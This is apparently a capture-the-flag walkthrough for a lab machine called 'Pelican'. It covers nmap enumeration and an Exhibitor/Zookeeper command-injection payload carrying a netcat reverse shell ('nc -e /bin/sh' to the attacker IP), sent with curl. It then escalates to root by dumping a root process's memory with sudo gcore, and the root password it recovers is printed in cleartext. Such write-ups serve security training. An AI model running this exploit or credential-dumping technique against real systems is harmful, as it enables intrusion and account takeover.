Exploitation Guide for Pelican

Summary
We'll gain an initial foothold on this target through an unauthenticated command injection vulnerability. We'll then gain root access by leveraging sudo
into a password disclosure.
Enumeration
Let's begin with an nmap
scan against all TCP ports.
kali@kali:~$ nmap 192.168.120.233 -p-
Host is up (0.021s latency).
Not shown: 65526 closed ports
PORT STATE SERVICE
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
631/tcp open ipp
2181/tcp open eforward
2222/tcp open EtherNetIP-1
8080/tcp open http-proxy
8081/tcp open blackice-icecap
44505/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 126.16 seconds
An nmap -A
scan against the identified services reveals a few points of interest. Specifically, we identify an Apache Zookeeper service running on port 2181, and a redirect from port 8081 pointing to an Exhibitor for Zookeeper UI on port 8080.
PORT STATE SERVICE VERSION
...
2181/tcp open zookeeper Zookeeper 3.4.6-1569965 (Built on 02/20/2014)
...
8081/tcp open http nginx 1.14.2
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.2
|_http-title: Did not follow redirect to <http://192.168.120.233:8080/exhibitor/v1/ui/index.html>
...
After confirming the findings by browsing the applications, we search Google and discover an unauthenticated command injection vulnerability in the Exhibitor UI.
Exploitation
Unauthenticated Command Injection in Exhibitor UI
According to the vulnerability disclosure, we can obtain an initial shell with a single curl
command along with a data.json file which contains our payload. This payload should include a reverse shell command within the vulnerable javaEnvironment
name value, and we must use the correct values for serverId
and serverSpec
, both of which we can obtain from the UI.
data.json:
{ "zookeeperInstallDirectory": "/opt/zookeeper", "zookeeperDataDirectory": "/zookeeper/data", "zookeeperLogDirectory": "/opt/zookeeper/transactions", "logIndexDirectory": "/opt/zookeeper/transactions", "autoManageInstancesSettlingPeriodMs": "0", "autoManageInstancesFixedEnsembleSize": "0", "autoManageInstancesApplyAllAtOnce": "1", "observerThreshold": "0", "serversSpec": "1:pelican", "javaEnvironment": "$(/bin/nc -e /bin/sh 192.168.118.11 8080 &)", "log4jProperties": "", "clientPort": "2181", "connectPort": "2888", "electionPort": "3888", "checkMs": "30000", "cleanupPeriodMs": "300000", "cleanupMaxFiles": "20", "backupPeriodMs": "600000", "backupMaxStoreMs": "21600000", "autoManageInstances": "1", "zooCfgExtra": { "tickTime": "2000", "initLimit": "10", "syncLimit": "5", "quorumListenOnAllIPs": "true" }, "backupExtra": { "directory": "" }, "serverId": 2 }
Next, we'll launch a netcat listener on port 8080
.
kali@kali:~$ nc -nlvp 8080
listening on [any] 8080 ...
Once we've determined our data payload is correct, the following curl
command should give us our initial shell:
kali@kali:~$ curl -X POST -d @data.json <http://192.168.120.233:8080/exhibitor/v1/config/set>
After several seconds, we catch our low privileged shell as charles
.
kali@kali:~$ sudo nc -nlvp 8080
listening on [any] 8080 ...
connect to [192.168.118.11] from (UNKNOWN) [192.168.120.233] 36484
id
uid=1000(charles) gid=1000(charles) groups=1000(charles)
python -c 'import pty; pty.spawn("/bin/bash");'
Escalation
We begin our escalation process with sudo -l
, seeking programs that allow sudo
as root
. This reveals that our current user can run /usr/bin/gcore with sudo.
charles@pelican:/opt/zookeeper$ sudo -l
Matching Defaults entries for charles on pelican:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin
User charles may run the following commands on pelican:
(ALL) NOPASSWD: /usr/bin/gcore
...
Next, we'll hunt for processes that might be of interest with ps auxwww
and subsequently identify an interesting /usr/bin/password-store process running as the root
user:
...
root 492 0.0 0.0 2276 76 ? Ss 18:53 0:00 /usr/bin/password-store
charles 526 0.6 5.6 2568196 116060 ? Ssl 18:53 0:08 /usr/bin/java -jar /opt/exhibitor/exhibitor-1.0-jar-with-dependencies.jar -c file
...
Let's attempt to dump the password-store
process memory to a core file by specifying its PID (492
in this case) with the gcore
command.
charles@pelican:/opt/zookeeper$ sudo /usr/bin/gcore 492
...
Saved corefile core.492
[Inferior 1 (process 492) detached]
Running strings
against the generated core file, we discover cleartext credentials for the root
user that were stored in the memory of the password-store
process:
charles@pelican:/opt/zookeeper$ strings core.492
...
/usr/bin/passwor
////////////////
001 Password: root:
ClogKingpinInning731
x86_64
/usr/bin/password-store
Now, we can easily escalate to root
with the su root
command:
charles@pelican:/opt/zookeeper$ su root
Password:
root@pelican:/opt/zookeeper# id
id
uid=0(root) gid=0(root) groups=0(root)
Discussion